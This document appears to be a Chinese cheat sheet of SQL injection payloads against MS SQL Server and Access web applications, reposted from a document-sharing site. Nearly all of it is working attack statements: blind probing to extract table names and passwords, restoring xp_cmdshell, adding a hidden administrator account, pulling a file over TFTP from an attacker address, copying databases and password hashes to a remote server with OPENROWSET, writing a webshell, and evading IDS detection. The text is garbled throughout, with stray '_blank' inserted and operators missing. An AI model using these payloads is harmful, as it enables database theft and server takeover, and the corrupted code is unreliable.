渗透常用SQL注入语句大全

《渗透常用SQL注入语句大全》由会员分享，可在线阅读，更多相关《渗透常用SQL注入语句大全（10页珍藏版）》请在装配图网上搜索。

1、 1.判断有无注入点; and 1=1 and 1=22.猜表一般的表的名称无非是admin adminuser user pass password 等.and 0(select count(*) from *)and 0(select count(*) from admin) 判断是否存在admin这表3.猜数目 如果遇到0 返回正确页面 1返回错误页面说明数目就是1个and 0(select count(*) from admin)and 10)and 1=(select count(*) from admin where len(用户字段名称name)0)and 1=(select c

2、ount(*) from admin where len(_blank密码字段名称password)0)5.猜解各个字段的长度 猜解长度就是把0变换 直到返回正确页面为止?12345678and 1=(select count(*) from admin where len(*)0)and 1=(select count(*) from admin where len(name)6) 错误and 1=(select count(*) from admin where len(name)5) 正确 长度是6and 1=(select count(*) from admin where len(n

3、ame)=6) 正确and 1=(select count(*) from admin where len(password)11) 正确and 1=(select count(*) from admin where len(password)12) 错误 长度是12and 1=(select count(*) from admin where len(password)=12) 正确6.猜解字符and 1=(select count(*) from admin where left(name,1)=a) 猜解用户的第一位and 1=(select count(*) from admin wh

4、ere left(name,2)=ab)猜解用户的第二位就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,就算出来了and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1)=51) 这个查询语句可以猜解中文的用户和_blank密码.只要把后面的数字换成中文的 ASSIC码就OK.最后把结果再转换成字符.?123456789group by users.id having 1=1.2cto.group by users.id, users.username, users.password, users.privs

5、 having 1=1; insert into users values( 666, attacker, foobar, 0xffff)UNION Select TOP 1COLUMN_blank_NAME FROM INFORMATION_blank_SCHEMA.COLUMNS Where TABLE_blank_NAME=logintable-UNION Select TOP 1COLUMN_blank_NAME FROM INFORMATION_blank_SCHEMA.COLUMNS Where TABLE_blank_NAME=logintable Where COLUMN_bl

6、ank_NAME NOT IN (login_blank_id)-UNION Select TOP 1COLUMN_blank_NAME FROM INFORMATION_blank_SCHEMA.COLUMNS Where TABLE_blank_NAME=logintable Where COLUMN_blank_NAME NOT IN (login_blank_id,login_blank_name)-UNION Select TOP 1login_blank_name FROM logintable-UNION Select TOP 1password FROM logintable

7、where login_blank_name=Rahul看_blank服务器打的补丁=出错了打了SP4补丁and 1=(select VERSION)看_blank数据库连接账号的权限，返回正常，证明是 _blank服务器角色sysadmin权限。and 1=(Select IS_blank_SRVROLEMEMBER(sysadmin)判断连接_blank数据库。（采用SA账号连接 返回正常=证明了连接账号是SA）?123and sa=(Select System_blank_user)and user_blank_name()=dboand 0(select user_blank_name

8、()看xp_blank_cmdshell是否删除and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = X AND name = xp_blank_cmdshell)xp_blank_cmdshell被删除，恢复,支持绝对路径的恢复;EXEC master.dbo.sp_blank_addextendedproc xp_blank_cmdshell,xplog70.dll;EXEC master.dbo.sp_blank_addextendedproc xp_blank_cmdshell,c:inetpubwwwrootx

9、plog70.dll反向PING自己实验;use master;declare s int;exec sp_blank_oacreate “wscript.shell”,s out;exec sp_blank_oamethod s,”run”,NULL,”cmd.exe /c ping 192.168.0.1;加;DECLARE shell INT EXEC SP_blank_OACreate wscript.shell,shell OUTPUT EXEC SP_blank_OAMETHOD shell,run,null, C:WINNTsystem32cmd.exe /c net user

10、jiaoniang$ 1866574 /add创建一个虚拟目录E盘：;declare o int exec sp_blank_oacreate wscript.shell, o out exec sp_blank_oamethod o, run, NULL, cscript.exe c：inetpubwwwrootmkwebdir.vbs -w “默认Web站点” -v “e”,”e：”访问属性：（配合写入一个webshell）declare o int exec sp_blank_oacreate wscript.shell, o out exec sp_blank_oamethod o,

11、run, NULL, cscript.exe c：inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse爆库 特殊_blank技巧：:%5c= 或者把/和 修改%5提交and 0(select top 1 paths from newtable)得到库名（从1到5都是系统的id，6以上才可以判断）and 1=(select name from master.dbo.sysdatabases where dbid=7)and 0(select count(*) from master.dbo.sysdatabases where name1 an

12、d dbid=6)依次提交 dbid = 7,8,9. 得到更多的_blank数据库名?123456789and 0(select top 1name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 adminand 0(select top 1name from bbs.dbo.sysobjects where xtype=U and name not in (Admin) 来得到其他的表。and 0(select count(*) from bbs.dbo.sysobjects where xtype=U and name=adminand

13、 uid(str(id) 暴到UID的数值假设为18779569uid=idand 0(select top 1name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank_idand 0(select top 1name from bbs.dbo.syscolumns where id=18779569and name not in(id,) 来暴出其他的字段and 0_id from BBS.dbo.admin where username1) 可以得到用户名依次可以得到_blank密码。假设存在

14、 user_blank_id username ,password 等字段?12345678and 0(select count(*) from master.dbo.sysdatabases where name1and dbid=6)and 0(select top 1name from bbs.dbo.sysobjects where xtype=U) 得到表名and 0(select top 1name from bbs.dbo.sysobjects where xtype=U and name not in(Address)and 0(select count(*) from bbs

15、.dbo.sysobjects where xtype=U and name=admin and uid(str(id) 判断id值and 0(select top 1name from BBS.dbo.syscolumns where id=773577794) 所有字段?id=-1union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin?id=-1union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13from admin (union，access也好用)得到WEB路径?12345;create tab

16、le dbo.swap (swappasschar(255);and (select top 1swappass from swap)=1;Create TABLE newtable(id intIDENTITY(1,1),paths varchar(500) Declare testvarchar(20) exec master.xp_blank_regread rootkey=HKEY_blank_LOCAL_blank_MACHINE, key=SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots, value_blank

17、_name=/, values=testOUTPUT insert into paths(path) values(test);use ku1;create table cmd (str image); 建立image类型的表cmd存在xp_blank_cmdshell的测试过程：?123456789101112131415;exec master.xp_blank_cmdshell dir;exec master.dbo.sp_blank_addlogin jiaoniang$; 加SQL;exec master.dbo.sp_blank_password null,jiaoniang$,1

18、866574;exec master.dbo.sp_blank_addsrvrolemember jiaoniang$ sysadmin;exec master.dbo.xp_blank_cmdshell net user jiaoniang$ 1866574/workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;exec master.dbo.xp_blank_cmdshell net localgroup administrators jiaoniang$ /add;exec master.

19、xp_blank_servicecontrol start, schedule 启动_blank服务exec master.xp_blank_servicecontrol start, server; DECLARE shellINT EXEC SP_blank_OACreate wscript.shell,shellOUTPUT EXEC SP_blank_OAMETHOD shell,run,null, C：WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574/add;DECLARE shellINT EXEC SP_blank_OACre

20、ate wscript.shell,shellOUTPUT EXEC SP_blank_OAMETHOD shell,run,null, C：WINNTsystem32cmd.exe /c net localgroup administrators jiaoniang$ /add; exec master.xp_blank_cmdshell tftp -i youip get file.exe 利用TFTP上传文件;declare asysname set a=xp_blank_+cmdshell exec adir c:;declare asysname set a=xp+_blank_cm

21、+dshell exec adir c:;declare a;set a=db_blank_name();backup database ato disk=你的IP你的共享目录bak.dat如果被限制则可以。select * from openrowset(_blanksqloledb,server;sa;,select OK! exec master.dbo.sp_blank_addlogin hax)查询构造：?123456789101112Select * FROM news Where id= AND topic= AND .adminand 1=(select count(*) fr

22、om user where username=victim and right(left(userpass,01),1)=1) and userpass select 123;use master;:a or name like fff%; 显示有一个叫ffff的用户哈。and 1(select count(email) from user);update users set email=(select top 1name from sysobjects where xtype=u and status0) where name=ffff;update users set email=(sel

23、ect top 1id from sysobjects where xtype=u and name=ad) where name=ffff;update users set email=(select top 1name from sysobjects where xtype=u and id581577110) where name=ffff;update users set email=(select top 1count(id) from password) where name=ffff;update users set email=(select top 1pwd from pas

24、sword where id=2) where name=ffff;update users set email=(select top 1name from password where id=2) where name=ffff;上面的语句是得到_blank数据库中的第一个用户表,并把表名放在ffff用户的字段中。通过查看ffff的用户资料可得第一个用表叫ad然后根据表名 ad得到这个表的ID 得到第二个表的名字?123456insert into users values( 666, char(063)+char(068)+char(072)+char(069)+char(073), c

25、har(063)+char(068)+char(072)+char(069)+char(073), 0xffff)insert into users values( 667,123,123,0xffff)insert into users values ( 123, admin, password, 0xffff);and user0;and (select count(*) from sysobjects)0;and (select count(*) from mysysobjects)0/为access_blank数据库枚举出数据表名;update aaa set aaa=(select

26、top 1 name from sysobjects where xtype=u and status0);这是将第一个表名更新到aaa的字段处。读出第一个表，第二个表可以这样读出来（在条件后加上 and name刚才得到的表名）。;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status0 and namevote);然后id=1552 and exists(select * from aaa where aaa5)读出第二个表，一个个的读出，直到没有为止。读字段是这样：;update aaa

27、 set aaa=(select top 1 col_blank_name(object_blank_id(表名),1);然后id=152 and exists(select * from aaa where aaa5)出错，得到字段名;update aaa set aaa=(select top 1 col_blank_name(object_blank_id(表名),2);然后id=152 and exists(select * from aaa where aaa5)出错，得到字段名获得数据表名将字段值更新为表名，再想法读出这个字段的值就可得到表名update 表名 set 字段=(se

28、lect top 1 name from sysobjects where xtype=u and status0 and name你得到的表名 查出一个加一个) where 条件 select top 1 name from sysobjects where xtype=u and status0 and name not in(table1,table2,)通过SQLSERVER注入_blank漏洞建_blank数据库管理员和系统管理员当前必须是SYSADMIN组获得数据表字段名将字段值更新为字段名，再想法读出这个字段的值就可得到字段名update 表名 set 字段=(select to

29、p 1 col_blank_name(object_blank_id(要查询的数据表名),字段列如:1) where 条件绕过IDS的检测使用变量;declare a sysname set a=xp_blank_+cmdshell exec a dir c:;declare a sysname set a=xp+_blank_cm+dshell exec a dir c:1、 开启远程_blank数据库基本语法select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )参

30、数: (1) OLEDB Provider name2、 其中连接字符串参数可以是任何端口用来连接,比如select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table3.复制目标主机的整个_blank数据库insert所有远程表到本地表。基本语法：insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) selec

31、t * from table2这行语句将目标主机上table2表中的所有数据复制到远程_blank数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：?1234567insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN

32、;Address=192.168.0.1,1433;,select * from _blank_sysdatabases)select * from master.dbo.sysdatabasesinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank_sysobjects)select * from user_blank_database.dbo.sysobjectsinsert into OPENROWSET(SQLOLEDB,

33、uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank_syscolumns)select * from user_blank_database.dbo.syscolumns复制_blank数据库：insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database.table1insert in

34、to OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database.table2复制哈西表（HASH）登录_blank密码的hash存储于sysxlogins中。方法如下：insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank_sysxlogins

35、) select * from database.dbo.sysxlogins得到hash之后，就可以进行暴力破解。遍历目录的方法： 先创建一个临时表：temp?123456789;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255);insert temp exec master.dbo.xp_blank_availablemedia; 获得当前所有驱动器;insert into temp(id) exec master.dbo.xp_blank_subdirs

36、c:; 获得子目录列表;insert into temp(id,num1) exec master.dbo.xp_blank_dirtree c:; 获得所有子目录的目录树结构,并寸入temp表中;insert into temp(id) exec master.dbo.xp_blank_cmdshell type c:webindex.asp; 查看某个文件的容;insert into temp(id) exec master.dbo.xp_blank_cmdshell dir c:;insert into temp(id) exec master.dbo.xp_blank_cmdshell

37、 dir c: *.asp /s/a;insert into temp(id) exec master.dbo.xp_blank_cmdshell cscript C:InetpubAdminScriptsadsutil.vbs enumw3svc;insert into temp(id,num1) exec master.dbo.xp_blank_dirtree c:; （xp_blank_dirtree适用权限PUBLIC）写入表：语句1：and 1=(Select IS_blank_SRVROLEMEMBER(sysadmin);语句2：and 1=(Select IS_blank_SR

38、VROLEMEMBER(serveradmin);语句3：and 1=(Select IS_blank_SRVROLEMEMBER(setupadmin);语句4：and 1=(Select IS_blank_SRVROLEMEMBER(securityadmin);语句5：and 1=(Select IS_blank_SRVROLEMEMBER(securityadmin);语句6：and 1=(Select IS_blank_SRVROLEMEMBER(diskadmin);语句7：and 1=(Select IS_blank_SRVROLEMEMBER(bulkadmin);语句8：an

39、d 1=(Select IS_blank_SRVROLEMEMBER(bulkadmin);语句9：and 1=(Select IS_blank_MEMBER(db_blank_owner);把路径写到表中去：?1234567;create table dirs(paths varchar(100), id int);insert dirs exec master.dbo.xp_blank_dirtree c:and 0(select top 1paths from dirs)and 0(select top 1paths from dirs where paths not in(Inetpu

40、b);create table dirs1(paths varchar(100), id int);insert dirs exec master.dbo.xp_blank_dirtree e:weband 0(select top 1paths from dirs1)把_blank数据库备份到网页目录：下载?123456789101112131415161718192021222324252627282930313233343536373839404142;declare asysname; set a=db_blank_name();backup database ato disk=e:w

41、ebdown.bak;and 1=(Select top 1name from(Select top 12id,name from sysobjects where xtype=char(85) T order by id desc)and 1=(Select Top 1col_blank_name(object_blank_id(USER_blank_LOGIN),1) from sysobjects) 参看相关表。and 1=(select user_blank_id from USER_blank_LOGIN)and 0=(select user from USER_blank_LOGI

42、N where user1)-=- wscript.shell example -=-declare ointexec sp_blank_oacreate wscript.shell, ooutexec sp_blank_oamethod o, run, NULL, notepad.exe; declare ointexec sp_blank_oacreate wscript.shell, oout exec sp_blank_oamethod o, run, NULL, notepad.exedeclare oint, fint, tint, retintdeclare linevarcha

43、r(8000)exec sp_blank_oacreate scripting.filesystemobject, ooutexec sp_blank_oamethod o, opentextfile, fout, c:boot.ini, 1exec ret= sp_blank_oamethod f, readline, lineoutwhile( ret= 0)beginprint lineexec ret= sp_blank_oamethod f, readline, lineoutenddeclare oint, fint, tint, retintexec sp_blank_oacre

44、ate scripting.filesystemobject, ooutexec sp_blank_oamethod o, createtextfile, fout, c:inetpubwwwrootfoo.asp, 1exec ret= sp_blank_oamethod f, writeline, NULL,declare oint, retintexec sp_blank_oacreate speech.voicetext, ooutexec sp_blank_oamethod o, register, NULL, foo, barexec sp_blank_oasetproperty

45、o, speed, 150exec sp_blank_oamethod o, speak, NULL, all your sequel servers are belong to,us, 528waitfor delay 00:00:05; declare oint, retintexec sp_blank_oacreate speech.voicetext, oout exec sp_blank_oamethod o, register, NULL, foo, bar exec sp_blank_oasetproperty o, speed, 150exec sp_blank_oametho

46、d o, speak, NULL, all your sequel servers are belong to us, 528waitfor delay 00:00:05xp_blank_dirtree适用权限PUBLICexec master.dbo.xp_blank_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。create table dirs(paths varchar(100), id int)建表，这里建的表是和上面 xp_blank_dirtree相关连，字段相等、类型相同。insert dirs exec master.dbo.xp_blank_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够执行！达到写表的效果,一步步达到我们想要的信息！10 / 10